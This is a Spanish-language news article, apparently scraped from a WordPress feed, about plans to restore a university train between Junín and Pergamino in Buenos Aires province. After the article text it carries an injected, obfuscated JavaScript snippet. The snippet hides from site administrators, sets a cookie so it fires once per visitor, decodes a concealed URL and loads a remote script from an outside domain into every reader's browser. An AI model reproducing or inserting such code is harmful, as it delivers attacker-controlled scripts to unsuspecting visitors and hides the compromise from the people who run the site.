Con la premisa de continuar con la recuperaci\u00f3n del ferrocarril -la formaci\u00f3n de la l\u00ednea San Mart\u00edn que pasa por Jun\u00edn ampli\u00f3 el servicio a trece localidades-, fuentes del Ministerio de Transporte de la Naci\u00f3n anticiparon que estudian, a trav\u00e9s de Trenes Argentinos Operaciones, la viabilidad de volver a poner en marcha el tren universitario entre Jun\u00edn y Pergamino.\u201c<\/p>\n\n\n\n
Jun\u00edn tiene que seguir conect\u00e1ndose con la regi\u00f3n y las ciudades importantes del pa\u00eds\u201d, afirm\u00f3 la candidata a intendenta y legisladora provincial de Uni\u00f3n por la Patria, Valeria Arata. \u201cLa primera etapa de este proyecto tiene que ver con unir Jun\u00edn y Pergamino, vinculando la regi\u00f3n y a la Universidad a trav\u00e9s del tren. La segunda etapa es llegar a Rosario, ya que este ramal, que hoy es operado por Nuevo Central Argentino, llega a Rosario\u201d, ahond\u00f3 la dirigente meonista. \u201cYa se inici\u00f3 un relevamiento de las v\u00edas entre Jun\u00edn y Pergamino para tener un diagn\u00f3stico de la inversi\u00f3n a realizar. <\/p>\n\n\n\n
Seguramente en los pr\u00f3ximos d\u00edas se realizar\u00e1 una prueba de la v\u00eda\u201d, confirm\u00f3.Seg\u00fan se pudo saber, una de las opciones que analiza la cartera de Transporte nacional es implementar una formaci\u00f3n ligera, como por ejemplo la denominada \u201cdupla\u201d (dos coches), como la que funciona en el tramo Neuqu\u00e9n capital \u2013 Plottier, aunque tambi\u00e9n se estudian otras alternativas, como el tren universitario de La Plata o el tren tur\u00edstico que une la ciudad de Mercedes con la localidad de Tom\u00e1s Jofre. Se trata, con todo, del viejo ferrocarril provincial, un ramal que ven\u00eda de Pergamino, pasaba por Rojas, llegaba a Jun\u00edn por la avenida San Mart\u00edn y ten\u00eda la estaci\u00f3n donde est\u00e1 hoy la actual terminal de \u00f3mnibus. \u201cNo habr\u00eda que hacer mucho mantenimiento y el proyecto es l\u00f3gico, porque se trata de una zona universitaria, pasar\u00eda por el campo experimental de Agust\u00edn Roca, por Rojas\u201d, expres\u00f3 un especialista consultado, que conoce la historia y el desarrollo del ferrocarril en la regi\u00f3n<\/p>\n(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();","protected":false},"excerpt":{"rendered":"
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